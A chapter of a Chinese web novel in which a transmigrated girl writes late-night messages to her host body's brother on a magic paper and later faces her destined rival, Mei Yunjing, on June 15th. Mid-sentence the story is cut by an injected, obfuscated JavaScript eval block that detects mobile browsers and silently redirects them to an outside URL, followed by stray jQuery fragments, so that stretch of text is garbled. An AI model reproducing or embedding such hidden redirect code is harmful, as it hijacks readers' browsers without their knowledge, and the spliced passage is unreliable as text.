42. 信友

作品:《和兄长拿到宿敌剧本后

    夜色沉得像化不开的墨,窗外虫鸣渐歇,屋里只剩下绵长平稳的呼吸声。


    祝香携在床上翻来覆去,被褥被蹭得皱巴巴的,后背沁出一层薄汗,却半点睡意都无。


    她索性坐起身,脊背抵着冰冷的床沿,目光怔怔地落在帐幔的流苏上。窗外的月光漏进来一缕,在地上投出细碎的银辉,她就着这点微光,数着漏壶里一滴滴落下的水声,心里清楚地计算着。


    自己能合眼的时间,正随着每一滴流逝的水,变得越来越少。


    祝香携的指尖无意识地蜷缩起来,脑海里不受控制地浮现出那张纸,那张被乌鸦称作“世界缺口”的纸。


    半大女孩轻手轻脚摸过床头的烛台,打火石擦出一簇细碎的火星,烛芯“噼啪”一声燃起来,昏黄的光晕柔柔漫开,将房内的昏暗劈开一角。


    她怕惊扰了祝琪旋,轻手轻脚拿出纸笔,这才爬上床,小心翼翼地从枕下摸出那张纸。


    还停在最后一句话:六月十五快到了,生辰礼想要什么?


    六月十五。


    宫彦凭什么确信梅云惊六月十五会登门蓬莱?六月十五究竟是什么大日子,好事坏事都挤在这一天,都快把这一天撕裂了。


    祝香携回:想变强。


    她本意是告诫自己不能松懈,没有想过别的,更何况现在三更半夜,谁有闲心在这里听她的凌云壮志?所以当纸张上真的浮现出一行崭新小字时候,祝香携脑子一片空白。


    哥哥:嫌耕耘慢,还是嫌收获晚?


    这怎么办……


    祝香携连忙写:我不是你妹妹。


    对方隔了半天没有动静,祝香携紧张的盘腿坐在那张纸面前,看书都没这么认真过,盯着看对面那个人有没有回复。


    过了很久,他也没回。


    祝香携心虚的把他最后的问题接上:嫌我自己太弱。


    这次他却很快回了:有吗?我觉得你其实很自信。


    祝香携:你什么意思?


    哥哥:不自信的人,是不会这么利落的和我说实话的,我当然知道你不是我妹妹,但没想到你居然敢和我坦白,这还不能说明你对自己很自信吗?


    祝香携:知道我不是,你还和我废话?


    哥哥:如果我没猜错,你用的是我妹妹的身体吧?我帮你,也等于帮她了,我不希望她受多余的伤。


    祝香携:好吧,但我也不是自愿的,我会尽量想办法完成任务,让你和你妹妹团聚的。


    哥哥:这么晚为什么不睡?


    祝香携:你不也没睡?


    哥哥:别顶嘴,这个年纪晚睡会长不高的。


    祝香携:你妹妹已经比同龄人高出一大截了。


    哥哥:有心事?


    眼前忽然一黑,烛火竟毫无征兆地灭了,帐内瞬间被浓稠的夜色吞没。


    祝香携浑身一僵,猛地清醒过来——她怎么不知不觉,就对着这张纸絮絮叨叨起来了?


    她攥着纸页的指尖微微发紧,片刻后,胡乱将纸塞回枕下,转身躺下,扯过被子蒙住脑袋,一副要就此睡去的模样。


    可闭着眼不过半盏茶的功夫,她又猛地坐起身,摸索着摸到打火石,“嗤”的一声轻响,烛火复又亮起,昏黄的光映亮她眼底一片漆黑。


    反正她本就不是这个世界的人,怕什么?左右她做的这些,都是为了让他和真正的祝香携团聚。


    再次下笔:我觉得我控制不住脾气,愤怒总让我犯错,有没有什么办法能让我不那么心浮气躁?


    笔尖一顿,又补充:我改不掉独断、暴躁和固执的本性,我该怎么办?


    哥哥:往上看,你说想变得强大,这就是强大了。


    祝香携:什么意思?


    哥哥:愤怒和勇敢是好朋友,你的果断、愤怒和坚定都将齐心协力为你锻造尚方宝剑。不要等到等有一天面对敌人,你有了强大的力量和绝对的理智,眼底的锐利却已经消散,那时你依然不能取胜。


    祝香携:愤怒不是好事。


    至少对于身边的人来说不是,祝香携想,居然想明白了。她要克制的不是愤怒本身,而是企业用愤怒攻击身边人的另一个自己。


    哥哥:其实你心里有答案了,还想看我为你再写一遍吗?


    祝香携:多谢。


    六月十五,风裹着蓬莱岛特有的咸湿水汽,如约漫过蓬莱背后的山海崖。


    祝琪旋和江墨果然没回来,这早在祝香携的预料里,可她没料到的是,江厉与江易竟会在这一日不约而同踏回蓬莱。


    好像这一天真的会发生点什么一样。


    消息传进耳中的刹那,祝香携心脏猛地一沉,一股说不清道不明的压迫感顺着脊椎爬上来,压得她胃里阵阵翻搅。从前一晚开始就没安生过的心,此刻更是跳得杂乱无章,像揣了团乱窜的火。


    她嗤笑一声,强迫自己压下那点莫名的惶恐。


    管他发生什么,就算梅云惊真来了,与她何干?


    祝香携厌恶极了自己这般沉湎臆想的颓唐模样,咬着牙拎起佩剑,直奔演武场。可剑尖划破空气的脆响听在耳里,却远不如往日那般能让她静心。


    脑海里不受控地闪过不久前那场比试。那是她第二次输给宫彦,剑锋相错的瞬间,对方眼底的轻蔑像根刺,至今还扎在她心头。


    一股难以言喻的倦怠骤然涌上来,练剑的心思散得干干净净。


    祝香携收了剑,转身避开演武场的喧嚣,寻到后山一处背阴的石洞。


    洞口爬满青藤,漏下细碎的光斑,倒也清净。她靠着冰凉的石壁坐下,前一夜的焦躁失眠本就耗光了她大半精力,此刻身心俱疲,竟抵不住困意侵袭,眼皮一沉,便无知无觉地睡了过去。


    洞外的风声渐缓,伴着海浪拍岸的轻响,将她眉间的褶皱,悄悄抚平了几分。


    不知道过了多久,祝香携是被一阵急促的摇晃惊醒的。


    一睁眼,撞进的便是宫彦满是汗水的脸。额前碎发黏在皮肤上,平日里那双总是带着几分痞气的眸子,此刻竟盛满了惊魂未定的慌乱。见她睫毛颤了颤睁开眼,少年紧绷的肩膀骤然垮下,声音里还带着后怕的哑意:“没死,吓死我了……”


    祝香携心头一跳,连忙撑着石壁起身,还没来得及开口问怎么回事,手腕就被宫彦一把攥住:“我不说了让你今天跟着我的吗!”


    力道大得惊人,拽得她一个踉跄,差点撞在


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16990523|192747||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    洞壁上:“你又干什么!”


    祝香携头昏脑胀,忍不住压低声音呵斥。


    “三千弟子集结,就差你一个!”宫彦语速快得像是在赶什么,几乎带着她跑起来,气急败坏:“梅云惊来了!”


    梅云惊。


    真的来了?


    祝香携满心疑窦,腕间被宫彦攥得生疼,那力道蛮横得像只张牙舞爪的螃蟹,铁钳似的半点挣脱不得。两人脚步飞旋,带起一阵疾风,竟是从蓬莱正门一路狂奔而入。


    这副狼狈又急切的模样实在扎眼,三千弟子齐刷刷回过头来,目光里的讶异与探究几乎要将两人裹住。


    祝香携脸颊发烫,只觉得丢脸至极,却又控制不住地抬眼,目光越过攒动的人头,直直望向最高处的殿宇。


    祝香携要寻那个被乌鸦称作她“宿敌”的身影,她的最终敌人。


    殿檐之下空空荡荡,唯有一道立在黑纱后的修长黑影。


    明明隔着朦胧的纱幔,看不清面容,祝香携却陡然浑身僵硬。她能清晰地感觉到,那道视线正牢牢锁在自己身上,纵使看不见他的眼,那如影随形的注视,却带着一种近乎实质的压迫感,让她连呼吸都滞了一瞬。


    两人终于踉跄着停下,祝香携弯下腰,撑着膝盖大口喘气,胸腔里的空气灼热得像是要烧起来。


    最高的殿宇内,江易抬眼看向对面端坐的人影,语气里带着几分不耐:“按你说的,人已经到齐了,你到底要说什么?”


    风掠过殿前的玉阶,卷起几片不知从何处飘来的落叶,三千弟子敛声屏气,连呼吸都放得极轻,周遭静得能听见衣料摩擦的细碎声响。


    就在这时,一道清亮的声音陡然划破了这份沉寂:“且慢!我有话要说!”


    是宫彦。


    他怕殿上的人看不清,还特意高高举起手挥了挥,动作莽撞又突兀。


    身旁的长老当即沉下脸呵斥:“宫彦!你迟到就算了,别在这儿捣乱,也不看看这是什么地方现在是什么时候!”


    宫彦抬手擦了擦额角的汗,脊背挺得笔直,声音朗然:“我知道,这里是蓬莱山,今天是六月十五。”


    话音落下的瞬间,他忽然转过身,目光直直地望向祝香携,一字一句掷地有声:


    “也是师妹的生日。”


    祝香携看疯子一样看着他:“你神经病?”


    “我是神经病。”宫彦笑了笑,那笑容里带着几分不管不顾的疯癫,他猛地迈步上前,一把攥住祝香携的双手,将她的手掌按在自己滚烫的胸膛上,声音震得祝香携指尖发麻,“我爱你爱的发疯。”


    祝香携懵了。


    周遭的空气仿佛在这一刻凝固了。


    没有哗然,没有窃窃私语,只有死一般的寂静。风停了,叶落了,连海浪拍岸的声音都像是被隔绝在千里之外,天地间只剩下两人相触的手,和宫彦那句石破天惊的话,在空荡荡的山巅上无声回荡。


    不知过了多久,一道清冽又带着几分病弱沙哑的声音,轻飘飘地打破了这份死寂。


    是从头到尾都默不作声的梅云惊。


    他似乎对这场闹剧感到了极致的厌烦,语气平淡得听不出情绪:“你要说什么。”